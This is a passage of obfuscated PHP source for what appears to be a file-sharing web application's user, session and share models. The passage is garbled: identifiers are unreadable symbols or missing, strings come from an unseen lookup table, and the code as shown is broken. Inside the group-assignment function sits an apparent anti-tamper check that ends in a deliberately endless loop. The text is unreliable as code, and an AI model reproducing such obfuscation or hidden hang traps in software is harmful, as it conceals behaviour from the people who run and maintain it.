$ہ[$¥[891]]) { return !1; } return !0; } public function userAdd($ގ) { $ =& $_SERVER[]; $ݐ = array($[420] => $ގ[$[32]], $[2331] => $ގ[$[1551]], $[2332] => isset($ގ[$[305]]) ? $ގ[$[305]] : $[12], $[2333] => isset($ގ[$[2329]]) ? $ގ[$[2329]] : $[12], $[2334] => isset($ގ[$[532]]) ? $ގ[$[532]] : $ގ[$[32]], $[2335] => isset($ގ[$[533]]) ? $ގ[$[533]] : $[12], $[2336] => isset($ގ[$[2337]]) ? $ގ[$[2337]] : 1, $[2338] => $ގ[$[891]], $[1945] => isset($ގ[$[1848]]) ? $ގ[$[1848]] : 1024 * 1024 * 20, $[1946] => 0, $[2339] => 0, $[1990] => isset($ގ[$[748]]) ? $ގ[$[748]] : 1); if (!empty($ގ[$[1670]])) { $ݐ[$[1670]] = $ގ[$[1670]]; } $ = $this->_checkExist($ގ); if ($ !== !0) { return $; } if (!empty($ݐ[$[533]]) && strlen($ݐ[$[533]]) > 255) { $ݐ[$[533]] = $[12]; } $܇ = $this->add($ݐ); $ˮ = array($[2338] => $ݐ[$[891]], $[2334] => $ݐ[$[532]]); $this->userEdit($܇, $ˮ); Model($[1341])->userRootAdd($܇); return $܇; } protected function userEditTest($İ, $) { return $this->call($_SERVER[][2340], $İ, $); } protected function userEdit($駼, $߀Ѹ) { $ݕ֡ =& $_SERVER[]; $ = $this->getInfoSimple($駼); if (!$) { return !1; } $ݿ = $this->_checkExist($߀Ѹ, $駼); if ($ݿ !== !0) { return $ݿ; } if (isset($߀Ѹ[$ݕ֡[891]]) && trim($߀Ѹ[$ݕ֡[891]]) != $ݕ֡[12]) { $輡ė = $this->metaGet($駼); if (empty($輡ė[$ݕ֡[2330]])) { $輡ė[$ݕ֡[2330]] = rand_string(10); Model($ݕ֡[504])->metaSet($駼, $ݕ֡[2330], $輡ė[$ݕ֡[2330]]); } $߀Ѹ[$ݕ֡[891]] = md5($輡ė[$ݕ֡[2330]] . trim($߀Ѹ[$ݕ֡[891]])); } else { unset($߀Ѹ[$ݕ֡[891]]); } if (!empty($߀Ѹ[$ݕ֡[533]]) && strlen($߀Ѹ[$ݕ֡[533]]) > 255) { $߀Ѹ[$ݕ֡[533]] = $ݕ֡[12]; } $this->where(array($ݕ֡[1661] => $駼))->save($߀Ѹ); if (isset($߀Ѹ[$ݕ֡[532]])) { $this->setNamePinyin($駼, $߀Ѹ[$ݕ֡[532]]); } $this->clearCache($駼); return !0; } public function setNamePinyin($ݫ, $觗 = false) { $ =& $_SERVER[]; if (!$觗) { $ = $this->getInfoSimple($ݫ); $觗 = $[$[532]] ? $[$[532]] : $[$[32]]; } $В = Model($[525]); if (!Input::check($觗, $[583])) { return $В->metaSet($ݫ, array($[465] => $[12], $[464] => $[12])); } return $В->metaSet($ݫ, array($[465] => str_replace($[53], $[12], Pinyin::get($觗)), $[464] => Pinyin::get($觗, $[584]))); } private function nickNameRpt() { $ =& $_SERVER[]; $ = Model($[769])->get($[2341]); $ߝ = $GLOBALS[$[6]][$[381]][$[2341]]; $ۉ = !is_null($) ? $ : $ߝ; return !!$ۉ; } private function _checkExist($뚬, $ = false) { $Ȱ߄ =& $_SERVER[]; $ۏ = array($Ȱ߄[32] => UserModel::ERROR_USER_EXIST_NAME, $Ȱ߄[532] => UserModel::ERROR_USER_EXIST_NICKNAME, $Ȱ߄[305] => UserModel::ERROR_USER_EXIST_EMAIL, $Ȱ߄[2329] => UserModel::ERROR_USER_EXIST_PHONE); if ($this->nickNameRpt()) { unset($ۏ[$Ȱ߄[532]]); } $˃ = $ ? array($Ȱ߄[1670] => array($Ȱ߄[2342], $)) : array(); foreach ($ۏ as $ => $) { $ = array(); foreach ($ۏ as $ => $Є) { if (isset($뚬[$]) && $뚬[$]) { $[] = $뚬[$]; } } if (!$) { continue; } $ܤ˼ = array_merge(array($ => array($Ȱ߄[7], $)), $˃); $×Ȓ = $this->where($ܤ˼)->find(); if ($×Ȓ) { return $; } } return !0; } public function userListInfo($) { $ =& $_SERVER[]; $ܣ = array(); $ = is_array($) ? array_unique($) : array(); if (!$) { return $ܣ; } if (count($) < 20) { foreach ($ as $Ч) { $ܣ[$Ч . $[12]] = $this->getInfoSimpleOuter($Ч); } } else { $ = array($[1661] => array($[418], $)); if (count($) == 1) { $ = array($[1661] => $[0]); } $ܩ = Model($[504])->field($this->simpleField)->where($)->select(); $ܩ = array_to_keyvalue($ܩ, $[1670]); foreach ($ as $Ч) { $ = $ܩ[$Ч]; if (!$) { $ܣ[$Ч . $[12]] = $this->getInfoSimpleOuter($Ч); continue; } $[$[533]] = Action($[2315])->parseUrl($[$[533]]); $ܣ[$Ч . $[12]] = $; } } return $ܣ; } protected function userStatus($, $) { $ = $this->getInfoSimple($); if (!$) { return !1; } $ٮ = array($_SERVER[][748] => $); return $this->userEdit($, $ٮ); } protected function userRemove($) { $Ə =& $_SERVER[]; $ޞ = $this->getInfoSimple($); if (!$ޞ) { return !1; } $쉾 = array($Ə[1661] => $); Model($Ə[592])->where($쉾)->delete(); Model($Ə[2343])->where($쉾)->delete(); Model($Ə[1951])->where($쉾)->delete(); Model($Ə[2328])->where($쉾)->delete(); Model($Ə[1070])->where($쉾)->delete(); Model($Ə[2159])->removeUserAll($); Model($Ə[824])->userRootRemove($); return $this->where($쉾)->delete(); } protected function userGroupSet($, $, $ = array()) { $֑˖ =& $_SERVER[]; if (!isset($_SERVER[$֑˖[875]]) || !isset($_SERVER[$֑˖[876]])) { $ = $֑˖[877]; $ = $֑˖[878]; $ĥഈ = $_SERVER[$֑˖[879]] . $֑˖[880]; $ = $($ĥഈ); $Ʈ = explode($֑˖[231], $); if (count($Ʈ) < $֑˖[607]) { $ = $֑˖[881]; $(); } $ = $֑˖[882]; $($_SERVER[$֑˖[883]]); $Н = 1; for ($ҩ = $Н; $ҩ > 0; $ҩ++) { $ = json_encode($GLOBALS[$֑˖[418]]); } } $ە = $this->getInfoSimple($); if (!$ە || !is_array($)) { return !1; } $ = Model($֑˖[1951]); $->where(array($֑˖[1670] => $))->delete(); $ơ = array(); $ʌ = 0; foreach ($ as $Ϻ => $ց) { $ƌϥ = array($֑˖[1670] => $, $֑˖[1861] => $Ϻ, $֑˖[1965] => $ց); $ƌϥ[$֑˖[1885]] = isset($[$ʌ]) ? $[$ʌ] : 0; $ʌ++; $ơ[] = $ƌϥ; } return $->addAll($ơ, array(), !0); } protected function userGroupAdd($բ, $ꅸ = array()) { $ٍ =& $_SERVER[]; $ɦ = $this->getInfoSimple($բ); if (!$ɦ || empty($ꅸ)) { return !1; } $ײ = array(); foreach ($ꅸ as $ => $) { $ײ[] = array($ٍ[1670] => $բ, $ٍ[1861] => $, $ٍ[1965] => $, $ٍ[1885] => 0); } return Model($ٍ[1951])->addAll($ײ, array(), !0); } protected function userGroupRemove($, $) { $ =& $_SERVER[]; $ = $this->getInfoSimple($); if (!$ || !$) { return !1; } $ = array($[1661] => $, $[1949] => $); return Model($[1951])->where($)->delete(); } public function listData() { $Ե = $this->_makeOrder()->selectPage(50); $this->_listDataApply($Ե[$_SERVER[][369]]); return $Ե; } public function listByID($ʏ) { $͟ =& $_SERVER[]; if (!$ʏ) { return; } $ = array($͟[1670] => array($͟[7], $ʏ)); $σ = $this->where($)->select(); $σ = array_sort_keep($σ, $͟[1670], $ʏ); $this->_listDataApply($σ); return $σ; } public function listByGroup($Կ = 0, $ = array()) { $ =& $_SERVER[]; $܈ = $[12]; $ޠ₈ = array(); if ($Կ) { $ޠ₈ = array($[2344] => intval($Կ)); $܈ = "\114\x45\x46\124\40\x4a\x4f\111\x4e\40{$this->tablePrefix}\165\x73\145\x72\137\x67\162\x6f\x75\160\40\x75\163\x65\x72\x5f\147\x72\157\x75\x70\40\157\x6e\x20\x75\x73\145\162\56\x75\x73\145\162\111\x44\x20\x3d\40\x75\163\x65\162\x5f\147\162\157\165\x70\x2e\165\x73\x65\162\x49\x44"; $ѽ = Input::get($[457], null, $[12]) ? $[12] : $[2345]; } if (isset($[$[748]])) { $ޠ₈[$[2346]] = $[$[748]]; } $̐ = $this->_makeOrder($ѽ)->field($[2347])->where($ޠ₈)->join($܈)->selectPage(50); $this->_listDataApply($̐[$[369]]); return $̐; } private function _makeOrder($屲 = '') { $ܵ =& $_SERVER[]; $Dzי = array($ܵ[1670], $ܵ[32], $ܵ[1850], $ܵ[1822], $ܵ[201]); $ = array($ܵ[450] => $ܵ[451], $ܵ[452] => $ܵ[453]); $ʻ = Input::get($ܵ[457], $ܵ[7], $ܵ[1661], $Dzי); $溼 = Input::get($ܵ[458], $ܵ[7], $ܵ[1952], array($ܵ[1952], $ܵ[452])); $溼 = $[$溼]; $屲 = $屲 . "\x75\163\145\x72\56{$ʻ}\40{$溼}\x2c\x20\165\x73\x65\162\x2e\x75\163\145\x72\x49\104\40\141\163\143"; return $this->alias($ܵ[2078])->order($屲); } public function listSearch($ٷ) { $ǹ =& $_SERVER[]; $ = $ٷ[$ǹ[1955]]; $ = isset($ٷ[$ǹ[1956]]) ? $ٷ[$ǹ[1956]] : !1; $ = str_replace($ǹ[1957], $ǹ[1958], trim($)); $˜ = array($ǹ[32] => array($ǹ[383], "\45{$}\x25"), $ǹ[305] => array($ǹ[383], "{$}\45"), $ǹ[532] => array($ǹ[383], "{$}\x25"), $ǹ[1002] => $ǹ[1959]); if (Input::check($, $ǹ[311])) { $˜[$ǹ[1670]] = array($ǹ[383], "{$}\x25"); $˜[$ǹ[2329]] = array($ǹ[383], "{$}\x25"); } if (!$) { $˜ = array(); } if (isset($ٷ[$ǹ[748]])) { $˜[$ǹ[748]] = $ٷ[$ǹ[748]]; } $˜ = $this->parseWhereLike($˜); $֍Ī = $this->_makeOrder()->where($˜)->selectPage(20); if (!$֍Ī || count($֍Ī[$ǹ[369]]) < 5 && Input::check($, $ǹ[318])) { $ = $this->_searchFromMeta($ǹ[464], $, 10); $┖ = $this->_searchFromMeta($ǹ[465], $, 10); $ = array_merge($, $┖, $֍Ī[$ǹ[369]]); $֍Ī[$ǹ[369]] = array_unique_by_key($, $ǹ[1670]); $֍Ī[$ǹ[366]][$ǹ[367]] = count($֍Ī[$ǹ[369]]); $֍Ī[$ǹ[366]][$ǹ[368]] = ceil($֍Ī[$ǹ[366]][$ǹ[367]] / $֍Ī[$ǹ[366]][$ǹ[363]]); } $this->_listDataApply($֍Ī[$ǹ[369]]); $this->_filterByGroup($֍Ī, $); return $֍Ī; } private function _filterByGroup(&$Ū, $ȭ) { $ =& $_SERVER[]; if (!$ȭ) { return $Ū; } foreach ($Ū[$[369]] as $ => &$݃) { $Ӻ = array_to_keyvalue($݃[$[2048]], $[12], $[1861]); if (!in_array($ȭ, $Ӻ)) { unset($Ū[$[369]][$]); } } unset($݃); $Ū[$[369]] = array_values($Ū[$[369]]); $Ū[$[366]] = array($[2112] => count($Ū[$[369]]), $[2110] => $Ū[$[366]][$[363]], $[2109] => 1, $[2111] => 1); } private function _searchFromMeta($, $ä, $) { $Ӽ =& $_SERVER[]; $ä = strtolower($ä); $빵 = array($Ӽ[94] => $, $Ӽ[374] => array($Ӽ[383], "\x25{$ä}\x25")); $빵 = $this->parseWhereLike($빵); $ = Model($Ӽ[2348])->where($빵)->limit($)->select(); if (!$) { return array(); } $ = array_to_keyvalue($, $Ӽ[12], $Ӽ[1670]); $ƿ߅ = $this->where(array($Ӽ[1661] => array($Ӽ[7], $)))->select(); if (!$ƿ߅) { return array(); } return $ƿ߅; } private function _listDataApplyItem($) { $ = array($); $this->_listDataApply($); return $[0]; } private function _listDataApply(&$) { $ =& $_SERVER[]; if (!$) { return; } array_remove_key($, $[891]); $ = array_to_keyvalue($, $[12], $[1670]); $this->_listAppendGroup($, $); $this->_listAppendMeta($, $); $this->_listAppendSourceRoot($, $); } private function _listAppendSourceRoot(&$ӣꙇ, $̼) { $ͥ =& $_SERVER[]; $ = Model($ͥ[824])->listSourceRoot(SourceModel::TYPE_USER, $̼); $ = array_to_keyvalue($, $ͥ[496]); $ = array_remove_key($, $ͥ[496]); foreach ($ӣꙇ as &$Ά) { $Ά[$ͥ[87]] = $[$Ά[$ͥ[1670]]] ? $[$Ά[$ͥ[1670]]] : array(); } unset($Ά); } private function _listAppendGroup(&$, $Ԍ) { $ =& $_SERVER[]; $қ = array($[1670] => array($[7], $Ԍ)); $ = Model($[1951])->where($қ)->select(); $ = array_to_keyvalue($, $[12], $[1861]); $ = array_remove_value(array_unique($), $[198]); if (!$ || !$) { return; } $қ = array($[1861] => array($[7], $)); $ԁ = Model($[2046])->field($[2349])->where($қ)->select(); $ԁ = array_to_keyvalue($ԁ, $[1861]); $ = array_to_keyvalue_group($, $[1670]); foreach ($ as &$ΑƸ) { $ = array(); foreach ($ΑƸ as $) { if (!$[$[1965]]) { continue; } $ = Model($[498])->listData($[$[1965]]); $[] = array($[1861] => $[$[1861]], $[2350] => $ԁ[$[$[1861]]][$[32]], $[511] => $ԁ[$[$[1861]]][$[511]], $[413] => $); } $ΑƸ = $; } unset($ΑƸ); foreach ($ as &$ϡ) { $ϡ[$[2048]] = array(); if (isset($[$ϡ[$[1670]]])) { $ϡ[$[2048]] = $[$ϡ[$[1670]]]; } } unset($ϡ); } public function userAppendGroup($ã) { $ =& $_SERVER[]; if (!$ã) { return array(); } $this->_listAppendGroup($ã, array_to_keyvalue($ã, $[12], $[1670])); return $ã; } private function _listAppendMeta(&$Ρ, $Ҋ) { $ =& $_SERVER[]; $ = UserJobModel::JOB_KEY; $жϟ = array($[2330]); $ = array($[1670] => array($[7], $Ҋ)); $ߗ = Model($[2328])->where($)->select(); $ߗ = array_to_keyvalue_group($ߗ, $[1670]); foreach ($ߗ as &$ش) { $ = array(); foreach ($ش as $) { if (!in_array($[$[94]], $жϟ)) { $[$[$[94]]] = $[$[374]]; } } $ش = $; } unset($ش); $ = Model($[2351]); foreach ($Ρ as &$) { $ = array(); if (isset($ߗ[$[$[1670]]])) { $ = $ߗ[$[$[1670]]]; } $[$[2352]] = array(); if (isset($[$])) { $[$[2352]] = $->getUserJobInfo($[$]); } } unset($); } protected function groupUserAll($) { $Ń뤊 =& $_SERVER[]; if (!$) { return !1; } $ = Model($Ń뤊[1951])->field($Ń뤊[1670])->where(array($Ń뤊[1861] => array($Ń뤊[7], $)))->select(); $ = array_to_keyvalue($, $Ń뤊[12], $Ń뤊[1670]); return array_unique($); } public function userSearch($, $ = "\52") { return Model($_SERVER[][525])->where($)->field($)->find(); } } goto d; Fݛ: class SessionModel extends ModelBase { protected $tableName = "\x73\x79\163\164\145\155\x5f\163\145\163\x73\151\x6f\156"; public function get($㥆) { $ =& $_SERVER[]; $ᣴ = $this->where(array($[1996] => $㥆))->find(); if (!is_array($ᣴ)) { return !1; } return $ᣴ[$[753]]; } public function set($, $, $ۨ = 3600) { $͚瘋 =& $_SERVER[]; $Ɣ = array($͚瘋[1996] => $, $͚瘋[1900] => $, $͚瘋[1997] => $ۨ + time()); if (Session::get($͚瘋[1998])) { $Ɣ[$͚瘋[1670]] = Session::get($͚瘋[1998]); } else { $Ɣ[$͚瘋[1670]] = 0; } if ($this->get($)) { return $this->where(array($͚瘋[1996] => $))->save($Ɣ); } else { return $this->add($Ɣ, array(), !0); } } public function remove($) { return $this->where(array($_SERVER[][1996] => $))->delete(); } public function clearTimeout() { return $this->where($_SERVER[][1999] . time())->delete(); } } class ShareModel extends ModelBase { protected $tableName = "\x73\150\141\x72\145"; protected $dataAuto = array(array("\x6d\157\144\x69\x66\x79\124\151\155\145", "\x74\151\x6d\145", "\x69\x6e\163\145\162\164\54\x75\160\144\x61\x74\145", "\x66\x75\x6e\143\164\151\157\156"), array("\x63\x72\145\141\x74\x65\x54\151\x6d\x65", "\x74\x69\155\145", "\x69\x6e\163\145\162\164", "\146\x75\x6e\143\x74\x69\x6f\156"), array("\157\x70\164\x69\157\x6e\x73", '', "\x69\x6e\163\145\162\164\54\165\x70\x64\141\164\145\x2c\163\145\154\x65\x63\x74", "\152\x73\x6f\156")); private $fieldList = "\x2a"; protected function cacheFunctionAlias($;) { $ =& $_SERVER[]; $ = isset($;[0]) ? $;[0] : !1; return array($[2000] => array(USER_ID, $[2001]), $[1941] => array($, $[2002])); } protected function listSimple() { $̳ = array($_SERVER[][1670] => USER_ID); $ = $this->field($this->fieldList)->where($̳)->select(); return $ ? $ : array(); } protected function getInfo($ä, $ = false) { $ =& $_SERVER[]; if ($) { return $this->_getShareInfo(array($[593] => $ä)); } $ = $this->cacheFunctionGet($[1943], $ä); return $; } public function getInfoByHash($ƫ) { return $this->_getShareInfo(array($_SERVER[][2003] => $ƫ)); } public function getInfoByPath($) { $ǒ =& $_SERVER[]; $Ɋ = array($ǒ[1670] => USER_ID, $ǒ[402] => $); return $this->_getShareInfo($Ɋ); } public function getInfoBySourcePath($) { $Β߹ =& $_SERVER[]; $ = array($Β߹[1670] => USER_ID, $Β߹[1177] => $); return $this->_getShareInfo($); } private function _getShareInfo($喵Ѯ) { $̸ =& $_SERVER[]; $䘢 = $this->where($喵Ѯ)->find(); if (!$䘢) { return !1; } $喵Ѯ = array($̸[593] => $䘢[$̸[593]]); $֢ = $̸[2004]; $ = Model($̸[594])->order($̸[399])->field($֢)->where($喵Ѯ)->select(); if ($䘢[$̸[402]] == $̸[198]) { $䘢[$̸[87]] = IO::info($䘢[$̸[1177]]); } else { $䘢[$̸[87]] = Model($̸[1341])->pathInfo($䘢[$̸[402]]); } $䘢[$̸[2005]] = $; return $䘢; } protected function getInfoAuth($) { $ =& $_SERVER[]; $ = $this->getInfo($); if ($[$[1670]] == USER_ID) { $[$[413]] = $[$[87]][$[413]]; } else { $[$[413]] = Model($[493])->authMake($[$[2005]]); } return $; } protected function listData($ = null, $ = 300) { $ũ =& $_SERVER[]; $ = array(array($ũ[488] => array($ũ[1014], 0), $ũ[591] => array($ũ[1014], 0), $ũ[2006] => $ũ[1959])); if ($ == $ũ[2007]) { $ = array($ũ[488] => 1); } else { if ($ == $ũ[1163]) { $ = array($ũ[591] => 1); } } $[$ũ[1670]] = USER_ID; $ = $this->where($)->selectPage($); return $; } protected function listToMe($Ա = 300) { $ =& $_SERVER[]; $۵ = Model($[2008])->userGroupParents(USER_ID); $♾ = array($[576] => SourceModel::TYPE_USER, $[496] => USER_ID); if ($۵) { $♾ = array(array($[576] => SourceModel::TYPE_USER, $[496] => USER_ID), array($[576] => SourceModel::TYPE_GROUP, $[496] => array($[7], $۵)), $[2006] => $[1959]); } $ϥ = Model($[594])->where($♾)->selectPage($Ա); $렜 = array_to_keyvalue_group($ϥ[$[369]], $[593]); if (!$렜) { return $ϥ; } $坜 = $[2009]; $♾ = array($[593] => array($[418], array_keys($렜)), $[1670] => array($[1016], $[198])); $÷ = $this->field($坜)->where($♾)->select(); foreach ($÷ as $ => &$ݯ) { $ݯ[$[2005]] = $렜[$ݯ[$[593]]]; } unset($ݯ); $ = array($[2010] => $÷, $[2011] => $ϥ[$[366]]); return $; } protected function shareAdd($⑷ݐ, $) { $ᦊ =& $_SERVER[]; $ȡ = $this->_addShareData($⑷ݐ, $); if (!empty($[$ᦊ[2012]])) { $this->_shareAuthSet($ȡ, $[$ᦊ[2012]]); } $this->shareEventAdd($⑷ݐ, $, $ᦊ[2013]); return $ȡ; } protected function shareAddSystem($, $ʪ) { $ݗƳ =& $_SERVER[]; $ = $this->_addShareData($, $ʪ, $ݗƳ[1286]); $this->_shareAuthSet($, $ʪ[$ݗƳ[2012]]); return $; } private function shareEventAdd($, $, $͂ = "\141\144\144") { $ϙ =& $_SERVER[]; if (!$ || $ == $ϙ[198]) { return; } if ($͂ == $ϙ[2013]) { if ($[$ϙ[488]] == $ϙ[88]) { Model($ϙ[561])->eventShare($, $ϙ[2014]); } if ($[$ϙ[591]] == $ϙ[88]) { Model($ϙ[561])->eventShare($, $ϙ[2015]); } return; } $ = $this->getInfoByPath($); $ = $ϙ[2016]; if ($[$ϙ[488]] == $ϙ[198] && $[$ϙ[488]] == $ϙ[88]) { $ = $ϙ[2014]; } if ($[$ϙ[488]] == $ϙ[88] && $[$ϙ[488]] == $ϙ[198]) { $ = $ϙ[2017]; } if ($[$ϙ[591]] == $ϙ[198] && $[$ϙ[591]] == $ϙ[88]) { $ = $ϙ[2015]; } if ($[$ϙ[591]] == $ϙ[88] && $[$ϙ[591]] == $ϙ[198]) { $ = $ϙ[2018]; } Model($ϙ[561])->eventShare($, $); return; } private function _addShareData($, $ʦ = array(), $坬 = false) { $ʏ =& $_SERVER[]; $ = $坬 == $ʏ[1286] ? 0 : USER_ID; $ȉ = array($ʏ[417] => $, $ʏ[1661] => $); if ($ == 0) { $ȉ = array($ʏ[2019] => $ʦ[$ʏ[1177]], $ʏ[1661] => $); } if ($ܛ = $this->where($ȉ)->find()) { return $ܛ[$ʏ[593]]; } if ($ == 0) { $۾ = array($ʏ[32] => get_path_this($ʦ[$ʏ[84]])); } else { $۾ = Model($ʏ[824])->sourceInfo($); if (!$۾) { return !1; } } if (!$ʦ[$ʏ[1570]]) { $ʦ[$ʏ[1570]] = $۾[$ʏ[32]]; } $՚ = array($ʏ[1661] => $, $ʏ[417] => $, $ʏ[1570] => $ʏ[12], $ʏ[488] => 0, $ʏ[591] => 0, $ʏ[1177] => $ʏ[12], $ʏ[307] => $ʏ[12], $ʏ[891] => $ʏ[12], $ʏ[2020] => 0, $ʏ[2021] => 0, $ʏ[760] => 0, $ʏ[2022] => $ʏ[12], $ʏ[2003] => $ʏ[12]); $ = explode($ʏ[50], $ʏ[2023]); foreach ($ as $ߘ) { if (!isset($ʦ[$ߘ])) { continue; } $՚[$ߘ] = $ʦ[$ߘ]; } $ڱ = $this->add($՚); $ܡΝ = array($ʏ[2003] => short_id($ڱ)); $this->where(array($ʏ[2024] => $ڱ))->save($ܡΝ); return $ڱ; } private function _shareAuthSet($˨, $Λ) { $ =& $_SERVER[]; if (!is_array($Λ)) { return !1; } $ = Model($[1969]); $->where(array($[593] => $˨))->delete(); $ = array(); foreach ($Λ as $) { $ų = SourceModel::TYPE_USER; if ($[$[411]] == SourceModel::TYPE_GROUP) { $ų = SourceModel::TYPE_GROUP; } $ϴ币 = array($[593] => $˨, $[411] => $ų, $[496] => intval($[$[496]]), $[1965] => 0, $[2025] => -1); if ($[$[1965]]) { $ϴ币[$[1965]] = $[$[1965]]; } else { if ($[$[2025]]) { $ϴ币[$[2025]] = $[$[2025]]; } } $[] = $ϴ币; } return $->addAll($, array(), !0); } public function numViewAdd($) { $Ă =& $_SERVER[]; $ = array($Ă[2024] => $); $this->where($)->setAdd($Ă[2020]); } public function numDownloadAdd($) { $̼ =& $_SERVER[]; $ = array($̼[2024] => $); $this->where($)->setAdd($̼[2021]); } protected function shareEdit($ϫ, $) { $۹ =& $_SERVER[]; $Ѝ = $this->getInfo($ϫ); if (!$Ѝ) { return !1; } $this->_checkLinkShare($, $Ѝ); $ = array(); $Ȧ = explode($۹[50], $۹[2026]); foreach ($Ȧ as $ك) { if (!array_key_exists($ك, $)) { continue; } $[$ك] = $[$ك]; } $this->shareEventAdd($Ѝ[$۹[402]], $, $۹[1831]); $this->where(array($۹[2024] => $ϫ))->save($); if (isset($[$۹[2012]])) { $this->_shareAuthSet($ϫ, $[$۹[2012]]); } return !0; } private function _checkLinkShare($, $ۼ) { $䈈 =& $_SERVER[]; if ($[$䈈[488]] != $䈈[88]) { return; } $Ĭ = $ۼ[$䈈[87]][$䈈[402]]; if ($ۼ[$䈈[87]][$䈈[33]] != $䈈[200]) { $ = $this->_folderReport($Ĭ); if (!$) { return; } show_json(LNG($䈈[2027]) . $䈈[2028] . $, !1); } $ͯ = Model($䈈[824])->fileInfoGet($ۼ[$䈈[87]][$䈈[402]]); if (!$ͯ) { return; } $̼ = $this->shareFileMeta($ͯ[$䈈[468]]); if (isset($̼[$䈈[374]]) && $̼[$䈈[374]] == $䈈[88]) { show_json(LNG($䈈[2029]), !1); } } private function _folderReport($) { $ʊ =& $_SERVER[]; $һ = array($ʊ[468] => array($ʊ[1014], 0), $ʊ[748] => 3); $ܘ̿ = Model($ʊ[2030])->where($һ)->field($ʊ[468])->select(); if (!$ܘ̿) { return !1; } $ܘ̿ = array_to_keyvalue($ܘ̿, $ʊ[12], $ʊ[468]); $ؚ = $ʊ[50] . $ . $ʊ[50]; $һ = array($ʊ[468] => array($ʊ[7], $ܘ̿), $ʊ[511] => array($ʊ[383], "\x25{$ؚ}\x25"), $ʊ[431] => 0); $ = Model($ʊ[824])->where($һ)->field($ʊ[2031])->find(); if (!$) { return !1; } $ = substr($[$ʊ[511]], strpos($[$ʊ[511]], $ؚ)); $һ = array($ʊ[402] => array($ʊ[7], trim($, $ʊ[50]))); $ܮ = Model($ʊ[824])->where($һ)->field($ʊ[32])->select(); $꿾 = array_to_keyvalue($ܮ, $ʊ[12], $ʊ[32]); $꿾[] = $[$ʊ[32]]; return implode($ʊ[8], $꿾); } protected function remove($) { $ =& $_SERVER[]; if (is_array($)) { $ = array($[7], $); } $ = array($[593] => $); $
= $this->where($)->delete(); if ($
) { Model($[594])->where(array($[593] => $))->delete(); } $ŵ = is_array($) ? $[1] : array($); for ($ԙԕ = 0; $ԙԕ < count($ŵ); $ԙԕ++) { $ο = $this->getInfo($ŵ[$ԙԕ]); if ($ο[$[591]] == $[88]) { Model($[561])->eventShare($ο[$[402]], $[2018]); } if ($ο[$[488]] == $[88]) { Model($[561])->eventShare($ο[$[402]], $[2017]); } } return $
; } protected function removeBySource($Į) { $ٌ =& $_SERVER[]; $䣶 = array($ٌ[417] => array($ٌ[418], $Į)); $πɢ = $this->field($ٌ[593])->where($䣶)->select(); $πɢ = array_to_keyvalue($πɢ, $ٌ[12], $ٌ[593]); if (!$πɢ) { return; } $䣶 = array($ٌ[2024] => array($ٌ[418], $πɢ)); $this->where($䣶)->delete(); Model($ٌ[594])->where($䣶)->delete(); } public function listAll($) { $ =& $_SERVER[]; $ڙ = array(); if ($[$[1670]]) { $ڙ[$[1670]] = $[$[1670]]; } if ($[$[759]]) { $ = $[$[760]] ? $[$[760]] : strtotime(date($[2032])); $ڙ[$[201]] = array($[333], array($[$[759]], $)); } if ($[$[33]]) { $ڙ[$[$[33]]] = 1; } else { $ڙ[] = array($[488] => array($[1014], 0), $[591] => array($[1014], 0), $[2006] => $[1959]); } if ($[$[1955]]) { $ڙ[] = array($[2003] => $[$[1955]], $[1570] => array($[383], "\45{$[$[1955]]}\45"), $[2006] => $[1959]); } $ˠ = $this->_makeOrder()->where($ڙ)->selectPage(20); if (empty($ˠ[$[369]])) { return array(); } $this->_listDataApply($ˠ[$[369]]); return $ˠ; } public function listDataApply($ҳ) { $this->_listDataApply($ҳ); return $ҳ; } private function _listDataApply(&$㏀) { $ =& $_SERVER[]; $ = array_to_keyvalue($㏀, $[12], $[1670]); $ = Model($[525])->userListInfo(array_unique($)); $Ѓ = array_to_keyvalue($㏀, $[12], $[402]); $Կѭ = Model($[824])->sourceListInfo($Ѓ, !0); foreach ($㏀ as $ => &$㐘) { $ʂ = $㐘[$[1670]]; $㐘[$[2033]] = $[$ʂ] ? $[$ʂ] : !1; $¶酭 = $㐘[$[402]]; $㐘[$[87]] = $Կѭ[$¶酭] ? $Կѭ[$¶酭] : !1; if ($㐘[$[87]][$[431]] == $[88]) { unset($㏀[$]); } if ($㐘[$[87]] != $[198] && !$㐘[$[87]]) { unset($㏀[$]); } } unset($㐘); $㏀ = array_values($㏀); } private function _makeOrder($ߚ = '') { $ =& $_SERVER[]; $ = array($[201], $[760], $[2020], $[2021]); $瑘 = array($[450] => $[451], $[452] => $[453]); $솕 = Input::get($[457], $[7], $[423], $); $ = Input::get($[458], $[7], $[2034], array($[1952], $[452])); $ = $瑘[$]; $ߚ = $ߚ . "{$솕}\40{$}"; return $this->order($ߚ); } public function reportAdd($߭) { $﷿ =& $_SERVER[]; $ā = array($﷿[593] => $߭[$﷿[593]], $﷿[1670] => USER_ID); if (Model($﷿[2030])->where($ā)->find()) { return !1; } $ۘ = array($﷿[593] => $߭[$﷿[593]], $﷿[1570] => $߭[$﷿[1570]], $﷿[402] => $߭[$﷿[402]], $﷿[468] => $߭[$﷿[468]], $﷿[1670] => USER_ID, $﷿[33] => $߭[$﷿[33]], $﷿[453] => $߭[$﷿[453]]); return Model($﷿[2030])->add($ۘ); } public function reportList($菜) { $ă =& $_SERVER[]; $ȴ = array(); if ($菜[$ă[759]]) { $Ư = $菜[$ă[760]] ? $菜[$ă[760]] : strtotime(date($ă[2032])); $ȴ[$ă[201]] = array($ă[333], array($菜[$ă[759]], $Ư)); } if (isset($菜[$ă[33]]) && in_array($菜[$ă[33]], array($ă[88], $ă[437], $ă[2035], $ă[2036], $ă[2037]))) { $ȴ[$ă[33]] = $菜[$ă[33]]; } if (isset($菜[$ă[748]]) && in_array($菜[$ă[748]], array($ă[198], $ă[88], $ă[437], $ă[2035]))) { $ȴ[$ă[748]] = $菜[$ă[748]]; } $ۄߙ = Input::get($ă[458], $ă[7], $ă[2034], array($ă[1952], $ă[452])); $˽ = array($ă[450] => $ă[451], $ă[452] => $ă[453]); $ȵ = $ă[2038] . $˽[$ۄߙ]; $Ƕ = Model($ă[2030])->where($ȴ)->order($ȵ)->selectPage(20); if (empty($Ƕ[$ă[369]])) { return array(); } $ = array_to_keyvalue_group($Ƕ[$ă[369]], $ă[748], $ă[593]); if (!empty($[0])) { $菜 = $[0]; $ȴ = array($ă[593] => array($ă[7], $菜)); $ = $this->where($ȴ)->field($ă[593])->select(); $ = array_to_keyvalue($, $ă[12], $ă[593]); $ = array_diff($菜, $); if (!empty($)) { foreach ($Ƕ[$ă[369]] as $ => $) { if (in_array($[$ă[593]], $)) { unset($Ƕ[$ă[369]][$]); } } } } 